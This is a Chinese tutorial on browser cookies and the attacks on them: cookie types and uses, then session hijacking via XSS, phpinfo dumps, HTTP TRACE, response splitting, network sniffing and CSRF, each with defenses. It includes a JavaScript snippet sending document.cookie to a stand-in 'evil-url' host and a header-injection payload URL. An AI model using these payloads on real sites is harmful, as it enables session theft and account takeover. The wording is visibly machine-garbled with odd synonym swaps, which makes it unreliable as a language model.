如果不理解cookie，可以先到wikipedia长进修一下。
http request
浏览器向做事器发起的每个要求都会带上cookie：
Host: www.example.orgCookie: foo=value1;bar=value2Accept: /
http response
做事器给浏览器的返回可以设置cookie：
HTTP/1.1 200 OKContent-type: text/htmlSet-Cookie: name=valueSet-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT (content of page)
二、cookie有关的术语
session cookie
当cookie没有设置超时时间，那么cookie会在浏览器退出时销毁，这种cookie是session cookie。
persistent cookie/tracking cookie
设置了超时时间的cookie，会在指定时间销毁，cookie的坚持韶光可以持续到浏览器退出之后，这种cookie被持久化在浏览器中。很多站点用cookie跟踪用户的历史记录，例如广告类站点会利用cookie记录浏览过哪些内容，搜索引擎会利用cookie记录历史搜索记录，这时也可以称作tracking cookie，由于它被用于追踪用户行为。
secure cookie
做事器端设置cookie的时候，可以指定secure属性，这时cookie只有通过https协议传输的时候才会带到网络要求中，不加密的http要求不会带有secure cookie。设置secure cookie的办法举例：
Set-Cookie: foo=bar; Path=/; Secure
HttpOnly cookie
做事器端设置cookie的时候，也可以指定一个HttpOnly属性。
Set-Cookie: foo=bar; Path=/; HttpOnly
设置了这个属性的cookie在javascript中无法获取到，只会在网络传输过程中带到做事器。
third-party cookie
第三方cookie的利用场景常日是iframe，例如www.a.com潜入了一个www.ad.com的广告iframe，那么www.ad.com设置的cookie属于不属于www.a.com，被称作第三方cookie。
supercookie
cookie会从属于一个域名，例如www.a.com，或者属于一个子域，例如b.a.com。但是如果cookie被声明为属于.com会发生什么？这个cookie会在任何.com域名生效。这有很大的安全性问题。这种cookie被称作supercookie。浏览器做出了限定，不许可设置顶级域名cookie(例如.com，.net)和pubic suffix cookie(例如.co.uk，.com.cn)。当代主流浏览器都很好的处理了supercookie问题，但是如果有些第三方浏览器利用的顶级域名和public suffix列表有问题，那么就可以针对supercookie进行攻击啦。
zombie cookie/evercookie
僵尸cookie是指当用户通过浏览器的设置打消cookie后可以自动重新创建的cookie。事理是通过利用多重技能记录同样的内容(例如flash，silverlight)，当cookie被删除时，从其他存储中规复。 evercookie是实现僵尸cookie的紧张技能手段。 理解僵尸cookie和evercookie。
三、cookie有什么用
常日cookie有三种紧张的用场。
session管理
http协议本身是是无状态的，但是当代站点很多都须要坚持登录态，也便是坚持会话。最基本的坚持会话的办法是Base Auth，但是这种办法，用户名和密码在每次要求中都会以明文的办法发送到客户端，很随意马虎受到中间人攻击，存在很大的安全隐患。以是现在大多数站点采取基于cookie的session管理办法：用户上岸成功后，设置一个唯一的cookie标识本次会话，基于这个标识进行用户授权。只要要求中带有这个标识，都认为是登录态。
个性化
cookie可以被用于记录一些信息，以便于在后续用户浏览页面时展示干系内容。范例的例子是购物站点的购物车功能。以前Google退出的iGoogle产品也是一个范例的例子，用户可以拥有自己的Google自定制主页，个中就利用了cookie。
user tracking
cookie也可以用于追踪用户行为，例如是否访问过本站点，有过哪些操作等。
四、cookie盗取和session挟制
本文就cookie的三种用场中session管理的安全问题进行展开。 既然cookie用于坚持会话，如果这个cookie被攻击者盗取会发生什么？session被挟制！
攻击者挟制会话就即是合法登录了你的账户，可以浏览大部分用户资源。
最基本的cookie盗取办法：xss漏洞
攻击一旦站点中存在可利用的xss漏洞，攻击者可直策应用注入的js脚本获取cookie，进而通过异步要求把标识session id的cookie上报给攻击者。
var img = document.createElement('img');img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);document.getElementsByTagName('body')[0].appendChild(img);
如何探求XSS漏洞是其余一个话题了，自行google之。 防御 根据上面HttpOnly cookie的先容，一旦一个cookie被设置为HttpOnly，js脚本就无法再获取到，而网络传输时依然会带上。也便是说依然可以依赖这个cookie进行session坚持，但客户端js对其不可见。那么纵然存在xss漏洞也无法大略的利用其进行session挟制攻击了。 但是上面说的是无法利用xss进行大略的攻击，但是也不是没有办法的。既然无法利用document.cookie获取到，可以转而通过其他的办法。下面先容两种xss结合其他漏洞的攻击办法。
xss结合phpinfo页面
攻击 大家都知道，利用php开拓的运用会有一个phpinfo页面。而这个页面会dump出要求信息，个中就包括cookie信息。
如果开拓者没有关闭这个页面，就可以利用xss漏洞向这个页面发起异步要求，获取到页面内容后parse出cookie信息，然后上传给攻击者。 phpinfo只是大家最常见的一种dump要求的页面，但不仅限于此，为了调试方便，任何dump要求的页面都是可以被利用的漏洞。 防御关闭所有phpinfo类dump request信息的页面。
XSS + HTTP TRACE = XST
这是一种古老的攻击办法，现在已经消逝，写在这里可以扩展一下攻防思路。http trace是让我们的web做事器将客户真个所有要求信息返回给客户真个方法。个中包含了HttpOnly的cookie。如果利用xss异步发起trace要求，又可以获取session信息了。之以是说是一种古老的攻击办法，由于当代浏览器考虑到XST的危害都禁止了异步发起trace要求。其余提一点，当浏览器没有禁止异步发起trace的时期，很多开拓者都关闭了web server的trace支持来防御XST攻击。但攻击者在特定的情形下还可以绕过，用户利用了代理做事器，而代理做事器没有关闭trace支持，这样又可以trace了。
HTTP Response Splitting
常日的XSS攻击都是把输入内容注入到response的content中，HTTP Response Splitting是一种针对header的注入。例如，一个站点接管参数做302跳转：
www.example.com/?r=http://baidu.com
request信息：
GET /example.com?r=http://baidu.com
HTTP/1.1
Host: example.com
response:
HTTP/1.1 302 FoundLocation: http://baidu.comContent-Type: text/html
这样页面就302跳转到百度了。攻击者利用r参数可以注入header，r参数不是大略的url，而是包含的header信息：
http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
response变成了：
HTTP/1.1 302 FoundLocation: HTTP/1.1 200 OKContent-Type: text/htmlX-XSS-Protection: 0 <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>Content-Type: text/html
有两个攻击要点：
指定X=XSS-Protection: 0 ，关闭浏览器的xss保护机制。注入脚本防御 针对header的内容做过滤，不能漏掉，特殊是Location，host，referrer等。说到底，这也是一种XSS攻击，只是攻击办法与普通的不太一样。针对header的攻击还可以做SQL注入等，防御的原则是对所有的输入进行sanitize，包括非用户输入的内容，比如referrer这种一样平常由浏览器带过来的信息，由于要求完备可以被假造，未必来自浏览器。
网络监听(network eavesdropping/network sniffing)
以上是利用上层运用的特性的几种攻击办法，cookie不仅存在于上层运用中，更流转于要求中。上层运用获取不到后，攻击者可以转而从网络要求中获取。只假如未利用https加密的网站都可以抓包剖析，个中就包含了标识session的cookie。当然，完成网络监听须要知足一定的条件，这又是其余一个话题了。常见的办法：
DNS缓存投毒攻击者把要攻击的域名的一个子域映射到攻击者的server，然后想办法让被攻击者访问这个server(XSS request、社会化攻击等)，要求中会带过来所有cookie(包括HttpOnly)。中间人攻击常见的攻击办法是搭建免费wifi，把DHCP做事器指定为攻击者ip，在攻击者机器上可以收到所有要求，不仅可以获取cookie，还可以进行脚本注入。代理做事器/VPN翻墙用***？呵呵。防御利用https。利用https协议的要求都被ssl加密，理论上不可破解，即便被网络监听也无法通过解密看到实际的内容。防御网络监听常日有两种办法：
信道加密内容加密https是加密信道，在此信道上传输的内容对中间人都是不可见的。但https是有本钱的。内容加密比较好理解，例如对password先加密再传输。但是对付标识session的cookie这种标识性信息是无法通过内容加密得到保护的。那么，利用https的站点就可以无忧无虑了吗？事实上，一些细节上的处理不当同样会暴露出攻击风险。
https站点攻击：双协议
如果同时支持http和https，那么还是可以利用网络监听http要求获取cookie。 防御只支持https，不支持http。这样就好了吗？No.
https站点攻击：301重定向
例如www.example.com只支持https协议，当用户直接输入example.com(大部分用户都不会手动输入协议前缀)，web server常日的处理是返回301哀求浏览看重定向到https://www.example.com。这次301要求是http的！
而且带了cookie，这样又将cookie明文暴露在网络上了。 防御1 把标识session的cookie设置成secure。上面提到的secure cookie，只许可在https上加密传输，在http要求中不会存在，这样就不会暴露在未加密的网络上了。 然后现实很残酷，很多站点根本无法做到所有的要求都走https。缘故原由有很多，可能是本钱考虑，可能是业务需求。 防御2 设置Strict-Transport-Security header，直接省略这个http要求！
用户首次访问后，做事器设置了这个header往后，后面就会省略掉这次http 301要求。更多点此 乌云案例
思考
如果窃取cookie失落败，无法session挟制，攻击者如何再发起攻击？挟制session的目的是拿到登录态，从而得到做事器授权做很多要求，例如账户变更。如果挟制不到session，也能够做授官僚求不是也达到攻击的目的了？无需拿到session cookie，跨站发起要求就可以了，这便是CSRF！
server通过把用户凭据存储在cookie以坚持session，http/https协议每次访问都会自动传输cookie，协议上的毛病是导致可进行CSRF攻击的根本缘故原由！
防御办法：利用anti-forgery token
大部分攻击都是提权行为，最基本的提权通过窃取用户名密码，不堪利转而盗取session，盗取不成转而跨站攻击，实在弗成重放也可以造成危害
